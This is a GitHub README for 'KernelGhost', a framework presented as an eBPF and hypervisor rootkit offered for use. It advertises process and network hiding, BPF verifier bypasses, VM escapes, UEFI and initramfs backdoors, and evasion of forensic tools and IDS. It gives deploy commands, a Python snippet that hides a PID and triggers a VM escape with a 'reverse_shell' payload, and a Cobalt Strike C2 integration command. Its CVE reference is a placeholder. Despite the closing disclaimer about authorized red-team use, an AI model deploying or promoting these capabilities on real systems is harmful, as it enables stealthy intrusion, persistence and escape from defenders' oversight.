Skip to content

Latest commit

 

History

History
153 lines (102 loc) · 3.2 KB

README.md

File metadata and controls

153 lines (102 loc) · 3.2 KB

🔥 KernelGhost: Hypervisor & eBPF Rootkit Framework

Next-generation offensive security framework combining eBPF stealth and hypervisor-level exploitation
"When userland isn't enough and the kernel isn't safe"

📌 Features

🕵️‍♂️ Core Capabilities

  • eBPF-Based Rootkit

    • Process/network hiding via syscall hooking
    • /proc//sys filesystem manipulation
    • Anti-forensic BPF verifier bypasses

  • Hypervisor Escapes

    • KVM/QEMU guest-to-host memory writes
    • Hyper-V VMBus ring buffer exploitation (CVE-2023-XXXX)
    • Nested virtualization attacks

  • Advanced Persistence

    • UEFI firmware implants via SPI flash
    • Initramfs backdoor injection
    • Cross-VM migration survival

🛡️ Defense Evasion

Technique Implementation Bypasses
Kernel Symbol Obfuscation __ksymtab modification Sysdig, ftrace
Memory Cloaking Nested Page Table manipulation LiME, Volatility
Cryptographic C2 AES-256-GCM over DNS-over-HTTPS Network IDS

🚀 Quick Start

🔧 Prerequisites

# Ubuntu 22.04+ (Linux kernel ≥5.15)
sudo apt install linux-headers-$(uname -r) clang-15 bpftool qemu-kvm

🛠️ Installation

git clone https://github.com/Aviral2642/kernelghost.git
cd kernelghost
make all -j$(nproc)
sudo make deploy

🧪 Basic Usage

from ghostctl import Ghost

# Hide process from detection
gh = Ghost()
gh.hide_pid(1337)

# Execute hypervisor escape
if gh.check_hypervisor() == "KVM":
    gh.escape_vm(payload="reverse_shell")

🧩 Examples

🔍 Process Ghosting

# Hide current shell process
./examples/process_ghosting $$

# Verify hiding (should show error)
ps -p $$

🧨 VM Escape PoC

# Launch attack on KVM host
./examples/vm_escape_poc --payload host_mem_dump.bin

🎯 Cobalt Strike Integration

python examples/cs_integration.py --listen 443 --aes-key $(openssl rand -hex 32)

📚 Documentation

Document Description
TECHNICAL.md Architecture, attack flows, internals
DEPLOYMENT.md Deployment checklist, OPSEC practices

🛠️ Development

🔧 Build Options

# Build with debug symbols
make DEBUG=1

# Cross-compile for ARM64
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu-

✅ Testing

# Run kernel module tests
make -C tests kunit

# eBPF verifier bypass tests
./tests/verify_bypass.sh

🌟 Roadmap

  • ✅ ARM64/M1 Silicon Support (Q4 2024)
  • ⏳ Windows Hyper-V Rootkit Module (Q1 2025)
  • 🚧 Quantum-Safe C2 Channels (PQ3/TLS1.3+)

⚠️ Disclaimer

This project is intended for:

  • ✅ Authorized red team engagements
  • ✅ Academic research on advanced persistence
  • ✅ Defensive countermeasure development

❗ Never use this tool for unauthorized access. Developers assume no liability for misuse.